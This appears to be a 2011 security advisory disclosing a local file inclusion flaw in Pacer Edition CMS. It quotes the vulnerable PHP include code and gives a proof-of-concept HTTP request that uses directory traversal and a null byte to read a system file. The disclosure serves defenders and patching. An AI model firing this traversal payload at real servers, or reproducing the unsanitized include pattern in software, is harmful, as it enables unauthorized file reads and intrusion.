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Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability Vendor: The Pacer Edition Product web page: http://www.thepaceredition.com Affected version: RC 2.1 (SVN: 867) Summary: The 'Pacer Edition' is a Content Management System(CMS) written using PHP 5.2.9 as a minimum requirement. The Pacer Edition CMS was based from Website baker core and has been completely redesigned with a whole new look and feel along with many new advanced features to allow you to build sites exactly how you want and make them, 100% yours! Desc: Pacer Edition CMS suffers from a local file inlcusion vulnerability when input passed thru the 'l' parameter to admin/login/forgot/index.php script is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes. /admin/login/forgot/index.php (line: 59-62): ---------------------------------------------------------------- $lang_id = ((isset($_GET['l'])) ? $_GET['l'] : ''); if ($lang_id == '') $lang_id = (LANGUAGE) ? LANGUAGE : (DEFAULT_LANGUAGE) ? DEFAULT_LANGUAGE : 'EN'; if (!file_exists(PE_PATH.'/languages/'.$lang_id.'.php')) $lang_id = 'EN'; require (PE_PATH.'/languages/'.$lang_id.'.php'); ---------------------------------------------------------------- Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab Advisory ID: ZSL-2011-5019 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5019.php 07.06.2011 PoC: ---------------------------------------------------------------- POST /admin/login/forgot/index.php?l=..%2f..%2f..%2f..%2f..%2fboot.ini%00 HTTP/1.1 Host: localhost Proxy-Connection: keep-alive User-Agent: thricer Content-Length: 2 Cache-Control: max-age=0 Origin: null Content-Type: multipart/form-data; boundary=----x Accept: text/html Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 ------x Content-Disposition: form-data; name="email" sm ------x-- ---------------------------------------------------------------- |
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